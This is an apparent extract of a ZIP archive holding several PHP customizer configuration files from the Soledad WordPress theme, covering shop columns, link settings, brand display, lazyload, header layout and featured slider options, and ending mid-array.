	'id'          => 'penci_shop_product_columns',
	'default'     => 3,
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Products per row on Desktop', 'soledad' ),
	'description' => __( 'How many products should be shown per row on desktop ?', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		2 => __('2 Columns','soledad' ),
		3 => __('3 Columns','soledad' ),
		4 => __('4 Columns','soledad' ),
		5 => __('5 Columns','soledad' ),
		6 => __('6 Columns','soledad' ),
	)
);
$options[] = array(
	'id'          => 'penci_shop_product_mobile_columns',
	'default'     => 2,
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Products per row on Mobile', 'soledad' ),
	'description' => __( 'How many products should be shown per row on mobile ?', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		1 => __('1 Column','soledad' ),
		2 => __('2 Columns','soledad' ),
	)
);

return $options;
PK     N\,υ    <  inc/customizer/config/sections/penci_linkmanager_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'id'       => 'penci_linkmg_external_link_heading',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'External links', 'soledad' ),
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'       => 'penci_linkmg_external_link_enable',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable for External links', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_linkmg_external_link_target',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'Open external links:', 'soledad' ),
	'choices'  => [
		''       => __( 'Keep default', 'soledad' ),
		'_self'  => __( 'in the same window, tab or frame', 'soledad' ),
		'_blank' => __( 'each in a separate new window or tab', 'soledad' ),
		'_new'   => __( 'all in the same new window or tab (NOT recommended)', 'soledad' ),
		'_top'   => __( 'in the topmost frame (NOT recommended)', 'soledad' ),
	],
);
$options[] = array(
	'id'       => 'penci_linkmg_external_link_rel_follow',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'Follow Options:', 'soledad' ),
	'choices'  => [
		''         => __( 'Keep default', 'soledad' ),
		'follow'   => __( 'follow', 'soledad' ),
		'nofollow' => __( 'nofollow', 'soledad' ),
	],
);
$options[] = array(
	'id'       => 'penci_linkmg_external_rel_options',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-multi-check',
	'label'    => esc_html__( 'Add to rel attribute:', 'soledad' ),
	'choices'  => [
		'rel_noopener'   => [ 'name' => __( 'Add "noopener"', 'soledad' ), 'value' => 'rel_noopener' ],
		'rel_noreferrer' => [ 'name' => __( 'Add "noreferrer"', 'soledad' ), 'value' => 'rel_noreferrer' ],
		'rel_external'   => [ 'name' => __( 'Add "external"', 'soledad' ), 'value' => 'rel_external' ],
		'rel_sponsored'  => [ 'name' => __( 'Add "sponsored"', 'soledad' ), 'value' => 'rel_sponsored' ],
		'rel_ugc'        => [ 'name' => __( 'Add "ugc"', 'soledad' ), 'value' => 'rel_ugc' ],
	],
);
$options[] = array(
	'id'       => 'penci_linkmg_interal_link_heading',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Interal links', 'soledad' ),
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'       => 'penci_linkmg_interal_link_enable',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable for Internal links', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_linkmg_interal_link_target',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'Open external links:', 'soledad' ),
	'choices'  => [
		''       => __( 'Keep default', 'soledad' ),
		'_self'  => __( 'in the same window, tab or frame', 'soledad' ),
		'_blank' => __( 'each in a separate new window or tab', 'soledad' ),
		'_new'   => __( 'all in the same new window or tab (NOT recommended)', 'soledad' ),
		'_top'   => __( 'in the topmost frame (NOT recommended)', 'soledad' ),
	],
);
$options[] = array(
	'id'       => 'penci_linkmg_interal_link_rel_follow',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'Follow Options:', 'soledad' ),
	'choices'  => [
		''         => __( 'Keep default', 'soledad' ),
		'follow'   => __( 'follow', 'soledad' ),
		'nofollow' => __( 'nofollow', 'soledad' ),
	],
);
$options[] = array(
	'id'       => 'penci_linkmg_interal_rel_options',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-multi-check',
	'label'    => esc_html__( 'Add to rel attribute:', 'soledad' ),
	'choices'  => [
		'rel_noopener'   => [ 'name' => __( 'Add "noopener"', 'soledad' ), 'value' => 'rel_noopener' ],
		'rel_noreferrer' => [ 'name' => __( 'Add "noreferrer"', 'soledad' ), 'value' => 'rel_noreferrer' ],
	],
);
$options[] = array(
	'id'       => 'penci_linkmg_exceptions_heading',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Exceptions Links', 'soledad' ),
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'          => 'penci_linkmg_exceptions_ids',
	'label'       => __( 'Skip pages or posts (id\'s):', 'soledad' ),
	'description' => __( 'Separate postID/pageID by comma.', 'soledad' ),
	'type'        => 'soledad-fw-textarea',
);
$options[] = array(
	'id'          => 'penci_linkmg_exceptions_class',
	'label'       => __( 'Ignore links by class', 'soledad' ),
	'description' => __( 'Separate classes by comma.', 'soledad' ),
	'type'        => 'soledad-fw-textarea',
);
$options[] = array(
	'id'          => 'penci_linkmg_exceptions_subdomain',
	'label'       => __( 'Make subdomains internal', 'soledad' ),
	'description' => __( 'Treat all links to the site\'s domain and subdomains as internal links', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_linkmg_exceptions_ieurl',
	'label'       => __( 'Include external links by URL', 'soledad' ),
	'description' => __( 'Separate url\'s by comma and/or a line break. Write the url\'s as specific as you want them to match.', 'soledad' ),
	'type'        => 'soledad-fw-textarea',
);
$options[] = array(
	'id'          => 'penci_linkmg_exceptions_eeurl',
	'label'       => __( 'Exclude external links by URL', 'soledad' ),
	'description' => __( 'Separate url\'s by comma and/or a line break. Write the url\'s as specific as you want them to match.', 'soledad' ),
	'type'        => 'soledad-fw-textarea',
);

return $options;PK     N\l    I  inc/customizer/config/sections/pencidesign_woo_brand_settings_section.phpnu [        <?php
$options = [];
if ( function_exists( 'penci_product_attributes_array' ) ) {
	$options[] = array(
		'default'     => false,
		'sanitize'    => 'penci_sanitize_choices_field',
		'label'       => __( 'Brand attribute', 'soledad' ),
		'description' => __( 'If you want to show brand image on your product page select desired attribute here', 'soledad' ),
		'id'          => 'penci_woocommerce_brand_attr',
		'type'        => 'soledad-fw-select',
		'choices'     => penci_product_attributes_array(),
	);
}
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Show brand on the single product page', 'soledad' ),
	'description' => __( 'You can disable/enable products brand image on the single page .', 'soledad' ),
	'id'          => 'penci_woocommerce_brand',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Show tab with brand information', 'soledad' ),
	'description' => __( 'If enabled you will see an additional tab with brand description on the single product page. Text will be taken from the "Description" field for each brand (attribute term).', 'soledad' ),
	'id'          => 'penci_woocommerce_brand_tab',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Use brand name for tab title', 'soledad' ),
	'description' => __( 'If you enable this option, the tab with the brand information will be called "About [Brand name]"..', 'soledad' ),
	'id'          => 'penci_woocommerce_brand_tab_title',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_woocommerce_brand_display',
	'default'     => 'summary',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Brand Display Position', 'soledad' ),
	'description' => __( 'Select the brand logo placement you want to display at single product', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'top'     => esc_attr__( 'Top', 'soledad' ),
		'summary' => esc_attr__( 'Summary', 'soledad' ),
	),
);

return $options;
PK     N\?.L  L  G  inc/customizer/config/sections/penci_section_spost_autoload_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Infinity Scrolling Load Posts', 'soledad' ),
	'id'       => 'penci_loadnp_posts',
	'type'     => 'soledad-fw-toggle',
);

$options[] = array(
	'default'     => 'prev',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Load Posts Type', 'soledad' ),
	'id'          => 'penci_loadnp_type',
	'description'=>'',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'prev'     => __('Previous Posts','soledad' ),
		'next'     => __('Next Posts','soledad' ),
		'prev_cat' => __('Previous Posts has Same Categories','soledad' ),
		'next_cat' => __('Next Posts has Same Categories','soledad' ),
		'prev_tag' => __('Previous Posts has Same Tags','soledad' ),
		'next_tag' => __('Next Posts has Same Tags','soledad' ),
	)
);

$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Exclude Specific Posts from Loads', 'soledad' ),
	'id'          => 'penci_loadnp_exclude',
	'description' => __( 'Exclude Posts by ID Separated by the comma. E.g: 12, 22, 335. You can check <a class="wp-customizer-link" href="https://pagely.com/blog/find-post-id-wordpress/" target="_blank">this guide</a> to know how to find the ID of a post', 'soledad' ),
	'type'        => 'soledad-fw-textarea',
);

$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Add Google Adsense/Custom HTML code Between Posts When Load Posts', 'soledad' ),
	'description' => __( 'If you use Google Ads here, please use normal Google Ads here - don\'t use Google Auto Ads to get it appears in the correct place.', 'soledad' ),
	'id'          => 'penci_loadnp_ads',
	'type'        => 'soledad-fw-code',
	'code_type'   => 'text/html',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Custom Color for Loading Icon', 'soledad' ),
	'id'       => 'penci_loadnp_ldscolor',
);

return $options;
PK     N\%  %  G  inc/customizer/config/sections/penci_section_footer_widgets_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'    => __('Disable Footer Widget Area','soledad'),
	'id'       => 'penci_footer_widget_area',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __('Footer Widget Area Columns Layout','soledad'),
	'id'       => 'penci_footer_widget_area_layout',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'style-1'  => '1/3 + 1/3 + 1/3',
		'style-2'  => '1/3 + 2/3',
		'style-3'  => '2/3 + 1/3',
		'style-4'  => '1/4 + 1/4 + 1/4 + 1/4',
		'style-5'  => '2/4 + 1/4 + 1/4',
		'style-6'  => '1/4 + 2/4 + 1/4',
		'style-7'  => '1/4 + 1/4 + 2/4',
		'style-8'  => '1/4 + 3/4',
		'style-9'  => '3/4 + 1/4',
		'style-10' => '1/2 + 1/2',
	),
	'default'  => 'style-1',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'id'       => 'penci_footer_widget_padding',
	'label'    => __( 'Footer Widget Area Padding Top & Bottom', 'soledad' ),
	'desktop'  => 'penci_footer_widget_padding',
	'default'  => '60',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_footer_widget_padding',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
			'default'  => '60',
		),
	),
);
$options[] = array(
	'label'    => __('Align Center Footer Widget Title','soledad'),
	'id'       => 'penci_footer_widget_title_center',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Font Size for Footer Widget Titles', 'soledad' ),
	'id'       => 'penci_footer_widget_titlefsize',
	'ids'      => [
		'desktop' => 'penci_footer_widget_titlefsize'
	],
	'default'  => '14',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
			'default'  => '14',
		),
	),
);

return $options;
PK     N\'>  >  F  inc/customizer/config/sections/penci_section_speed_general_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Activate optimize CSS/JS for logged in users?', 'soledad' ),
	'id'       => 'penci_speed_disable_cssjs',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Emoji and Smilies', 'soledad' ),
	'id'       => 'penci_speed_disable_emoji',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Remove query strings from static resource', 'soledad' ),
	'description' => __( 'Remove query strings for non-login & non-administrator users', 'soledad' ),
	'id'          => 'penci_speed_remove_query_string',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Remove wlwmanifest Link', 'soledad' ),
	'description' => __( 'If you do not use Windows Live Writer, you can disable it.', 'soledad' ),
	'id'          => 'penci_speed_remove_wlwmanifest',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Remove XML-RPC and RSD Link', 'soledad' ),
	'description' => __( 'Check <a class="wp-customizer-link" href="https://codex.wordpress.org/XML-RPC_Support" target="_blank">this post</a> and <a class="wp-customizer-link" target="_blank" href="https://developer.wordpress.org/reference/functions/rsd_link/">this post</a> to understand what is it. In most cases, its not needed, so if you dont need it, you can remove it.', 'soledad' ),
	'id'          => 'penci_speed_remove_xml_rsd',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'sanitize'    => 'sanitize_text_field',
	'label'       => esc_html__( 'Lazyload Images', 'soledad' ),
	'id'          => 'penci_section_speed_lazy_heading',
	'description' => __( "This theme supports lazyload images from itself. But, if you want to use lazyload images from another plugin - let disable the lazyload images below to get it works. But, If you want to use the optimise speed features from our theme, using the lazy load images feature from our theme is required.", "soledad" ),
	'type'        => 'soledad-fw-header',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Delay all images loading in the first screen to optimize LCP value', 'soledad' ),
	'id'       => 'penci_speed_disable_first_screen',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable LazyLoad Images on Category Mega Menu', 'soledad' ),
	'id'       => 'penci_topbar_mega_disable_lazy',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Lazy Load Images on Sliders', 'soledad' ),
	'id'       => 'penci_disable_lazyload_slider',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Lazyload Images on All Posts Layouts & Widgets', 'soledad' ),
	'id'       => 'penci_disable_lazyload_layout',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Lazyload for Featured Image on Single Posts/Pages', 'soledad' ),
	'id'       => 'penci_disable_lazyload_fsingle',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Lazyload Images on Single Posts', 'soledad' ),
	'id'       => 'penci_disable_lazyload_single',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Disable Lazyload for All Iframes', 'soledad' ),
	'id'          => 'penci_disable_lazyload_iframe',
	'description' => __( "Note that: Lazyload iframes just apply when you activate optimize CSS", "soledad" ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Youtube Thumbnail Size', 'soledad' ),
	'id'       => 'penci_youtube_thumbnail_size',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'maxresdefault' => __( 'Max Resolution', 'soledad' ),
		'hqdefault'     => __( 'High Quality', 'soledad' ),
		'mqdefault'     => __( 'Medium Quality', 'soledad' ),
		'sddefault'     => __( 'Standard Quality', 'soledad' ),
	),
);
$options[] = array(
	'id'          => 'penci_disable_lazyload_extra',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Exclude Custom CSS Classes from Lazyload', 'soledad' ),
	'description' => __( "Enter one per line to exclude certain CSS class from this optimizations OR a part of image/iframe URL. Examples: <strong>my-css-class</strong>", "soledad" ),
	'type'        => 'soledad-fw-textarea',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Lazyload Effects', 'soledad' ),
	'id'       => 'penci_section_speed_lazy_heading_01',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'label'    => __( 'Lazyloaded Effect', 'soledad' ),
	'id'       => 'penci_lazyloaded_effect',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''        => __( 'None', 'soledad' ),
		'style-1' => __( 'Fade In', 'soledad' ),
		'style-2' => __( 'Zoom In & Blur', 'soledad' ),
		'style-3' => __( 'Blur', 'soledad' ),
	),
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
);

return $options;
PK     N\0I/  /  J  inc/customizer/config/sections/pencidesign_logo_header_general_section.phpnu [        <?php
$options               = [];
$header_layout_options = array(
	'header-1'  => __( 'Header 1', 'soledad' ),
	'header-2'  => __( 'Header 2', 'soledad' ),
	'header-3'  => __( 'Header 3', 'soledad' ),
	'header-4'  => __( 'Header 4 ( Centered )', 'soledad' ),
	'header-5'  => __( 'Header 5 ( Centered )', 'soledad' ),
	'header-6'  => __( 'Header 6', 'soledad' ),
	'header-7'  => __( 'Header 7', 'soledad' ),
	'header-8'  => __( 'Header 8', 'soledad' ),
	'header-9'  => __( 'Header 9', 'soledad' ),
	'header-10' => __( 'Header 10', 'soledad' ),
	'header-11' => __( 'Header 11', 'soledad' ),
);
$options[]             = array(
	'default'  => 'header-1',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Header Layout', 'soledad' ),
	'id'       => 'penci_header_layout',
	'type'     => 'soledad-fw-select',
	'choices'  => $header_layout_options,
);
$options[]             = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Custom Header Container Width', 'soledad' ),
	'id'       => 'penci_header_ctwidth',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''          => esc_html__( 'Width: 1170px', 'soledad' ),
		'1400'      => esc_html__( 'Width: 1400px', 'soledad' ),
		'fullwidth' => esc_html__( 'FullWidth', 'soledad' ),
	)
);
$options[]             = array(
	'sanitize'    => 'esc_url_raw',
	'type'        => 'soledad-fw-image',
	'label'       => __( 'Banner Header Right For Header 3', 'soledad' ),
	'id'          => 'penci_header_3_banner',
	'description' => __( 'You should choose banner with 728px width and 90px - 100px height for the best result', 'soledad' ),
);
$options[]             = array(
	'default'     => '#',
	'sanitize'    => 'esc_url_raw',
	'label'       => __( 'Link To Go When Click Banner Header Right on Header 3', 'soledad' ),
	'id'          => 'penci_header_3_banner_url',
	'description' => '',
	'type'        => 'soledad-fw-text',
);
$options[]             = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Google adsense/custom HTML code to display in header 3', 'soledad' ),
	'id'          => 'penci_header_3_adsense',
	'description' => __( 'If you want use google adsense/custom HTML code in header style 3, paste your google adsense/custom HTML code here', 'soledad' ),
	'type'        => 'soledad-fw-code',
	'code_type'   => 'text/html',
);
$options[]             = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Remove Border Bottom on The Header', 'soledad' ),
	'id'          => 'penci_remove_border_bottom_header',
	'description' => __( 'This option just apply for header styles 1, 4, 7', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);
$options[]             = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Header Social Icons', 'soledad' ),
	'id'       => 'penci_header_social_check',
	'type'     => 'soledad-fw-toggle',
);
$options[]             = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Use Brand Colors for Social Icons on Header', 'soledad' ),
	'id'       => 'penci_header_social_brand',
	'type'     => 'soledad-fw-toggle',
);
$options[]             = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'label'    => __( 'Custom Font Size for Social Icons', 'soledad' ),
	'id'       => 'penci_size_header_social_check',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_size_header_social_check',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[]             = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Display Top Instagram Widget Title Overlay Images', 'soledad' ),
	'id'       => 'penci_top_insta_overlay_image',
	'type'     => 'soledad-fw-toggle',
);
$options[]             = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Instagram Icon on Top Instagram Widget', 'soledad' ),
	'id'       => 'penci_top_insta_hide_icon',
	'type'     => 'soledad-fw-toggle',
);
$options[]             = array(
	'default'   => '',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'label'     => __( 'Add Custom Code Inside <head> tag', 'soledad' ),
	'id'        => 'penci_custom_code_inside_head_tag',
	'type'      => 'soledad-fw-code',
	'code_type' => 'text/html',
);
$options[]             = array(
	'default'   => '',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'label'     => __( 'Add Custom Code After <body> tag', 'soledad' ),
	'id'        => 'penci_custom_code_after_body_tag',
	'type'      => 'soledad-fw-code',
	'code_type' => 'text/html',
);
$options[] = array(
	'label'       => __( 'Disable Essential Meta Tags For Social Media', 'soledad' ),
	'description' => __( 'This feature is automatically disabled when an SEO plugin is installed.', 'soledad' ),
	'id'          => 'penci_disable_og_tag',
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field'
);

$options[]   = array(
	'default'     => 'full',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Custom Image Size for OG Tags', 'soledad' ),
	'id'          => 'penci_og_tag_image_size',
	'type'        => 'soledad-fw-ajax-select',
	'choices'     => call_user_func( function () {
		global $_wp_additional_image_sizes;

		$image_sizes = [];

		$default_image_sizes = get_intermediate_image_sizes();

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ]['width']  = intval( get_option( "{$size}_size_w" ) );
			$image_sizes[ $size ]['height'] = intval( get_option( "{$size}_size_h" ) );
			$image_sizes[ $size ]['crop']   = get_option( "{$size}_crop" ) ? get_option( "{$size}_crop" ) : false;
		}

		if ( isset( $_wp_additional_image_sizes ) && count( $_wp_additional_image_sizes ) ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		$image_sizes_data = array( '' => 'Default' );
		if ( ! empty( $image_sizes ) ) {
			foreach ( $image_sizes as $key => $val ) {
				$new_val = $key;
				if ( isset( $val['width'] ) && isset( $val['height'] ) ) {
					$heightname = $val['height'];
					if ( '0' == $val['height'] || '99999' == $val['height'] ) {
						$heightname = 'auto';
					}
					$new_val = $key . ' - ' . $val['width'] . ' x ' . $heightname;
				}
				$image_sizes_data[ $key ] = $new_val;
			}
		}
		$image_sizes_data['full'] = 'Full Size';

		return $image_sizes_data;
	} ),
);
return $options;
PK     N\bDN  N  H  inc/customizer/config/sections/penci_section_fslider_general_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'    => __( 'Enable Featured Slider', 'soledad' ),
	'id'       => 'penci_featured_slider',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Enable Featured Slider on All Page', 'soledad' ),
	'id'       => 'penci_featured_slider_all_page',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'       => __( 'Enable Flat Overlay Replace with Gradient Overlay', 'soledad' ),
	'id'          => 'penci_enable_flat_overlay',
	'description' => __( 'This option does not apply for Slider Styles 1, 2, 3, 4, 5, 29, 30, 35, 36, 37, 38 & Penci Sliders', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'       => __( 'Border Radius for Images on Featured Slider', 'soledad' ),
	'id'          => 'penci_slider_border_radius',
	'default'     => '',
	'sanitize'    => 'sanitize_text_field',
	'type'        => 'soledad-fw-text',
	'description' => __( 'You can use pixel or percent. E.g:  <strong>10px</strong>  or  <strong>10%</strong>. If you want to disable border radius for slider. Fill 0', 'soledad' ),
);
$options[] = array(
	'label'       => __( 'Featured Slider Style', 'soledad' ),
	'id'          => 'penci_featured_slider_style',
	'default'     => 'style-1',
	'sanitize'    => 'penci_sanitize_choices_field',
	'description' => __( 'If you choose Penci Slider, you need have posts in "Penci Slider" post type', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'style-1'  => 'Style 1',
		'style-2'  => 'Style 2',
		'style-3'  => 'Style 3',
		'style-4'  => 'Style 4',
		'style-5'  => 'Style 5',
		'style-6'  => 'Style 6',
		'style-7'  => 'Style 7',
		'style-8'  => 'Style 8',
		'style-9'  => 'Style 9',
		'style-10' => 'Style 10',
		'style-11' => 'Style 11',
		'style-12' => 'Style 12',
		'style-13' => 'Style 13',
		'style-14' => 'Style 14',
		'style-15' => 'Style 15',
		'style-16' => 'Style 16',
		'style-17' => 'Style 17',
		'style-18' => 'Style 18',
		'style-19' => 'Style 19',
		'style-20' => 'Style 20',
		'style-21' => 'Style 21',
		'style-22' => 'Style 22',
		'style-23' => 'Style 23',
		'style-24' => 'Style 24',
		'style-25' => 'Style 25',
		'style-26' => 'Style 26',
		'style-27' => 'Style 27',
		'style-28' => 'Style 28',
		'style-29' => 'Style 29',
		'style-30' => 'Style 30',
		'style-31' => 'Penci Slider Style 1',
		'style-32' => 'Penci Slider Style 2',
		'style-33' => 'Revolution Slider Full Width',
		'style-34' => 'Revolution Slider In Container',
		'style-35' => 'Style 35',
		'style-36' => 'Style 36',
		'style-37' => 'Style 37',
		'style-38' => 'Style 38',
		'style-40' => 'Style 39',
		'style-41' => 'Style 40',
		'style-42' => 'Style 41',
		'style-44' => 'Style 42',
	)
);
$options[] = array(
	'label'       => __( 'Carousel Sliders Effect', 'soledad' ),
	'description' => __( 'This option apply for slider styles 7,8,9,10 and 38. The "Swing" effect does not support the loop option.', 'soledad' ),
	'id'          => 'penci_fslider_carousel_slider_effect',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'default' => 'Default',
		'swing'   => 'Swing',
	),
	'default'     => 'swing',
	'sanitize'    => 'penci_sanitize_choices_field',
);
$options[] = array(
	'label'       => __( 'General Slider Effect', 'soledad' ),
	'description' => __( 'Some sliders do not support all effects listed below.', 'soledad' ),
	'id'          => 'penci_fslider_single_slider_effect',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'slide'     => 'Slide',
		'fade'      => 'Fade',
		'coverflow' => 'Coverflow',
		'flip'      => 'Flip',
		'cards'     => 'Cards',
		'creative'  => 'Creative',
	),
	'default'     => 'creative',
	'sanitize'    => 'penci_sanitize_choices_field',
);
$options[] = array(
	'label'       => __( 'Revolution Slider Shortcode', 'soledad' ),
	'id'          => 'penci_feature_rev_sc',
	'type'        => 'soledad-fw-textarea',
	'default'     => '',
	'sanitize'    => 'sanitize_text_field',
	'description' => __( 'If you choose Featured Slider Style is Revolution Slider, you need to fill Revolution Slider shortcode here', 'soledad' ),
);
$options[] = array(
	'label'    => __( 'Enable Next/Prev Button for Penci Slider & Slider Styles 35, 36, 37', 'soledad' ),
	'section'  => 'penci_section_fslider_general',
	'id'       => 'penci_enable_next_prev_penci_slider',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Disable Dots for Penci Slider & Slider Styles 35, 36, 37', 'soledad' ),
	'section'  => 'penci_section_fslider_general',
	'id'       => 'penci_disable_dots_penci_slider',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Custom Image Size on the Slider', 'soledad' ),
	'id'       => 'featured_slider_imgsize',
	'type'     => 'soledad-fw-ajax-select',
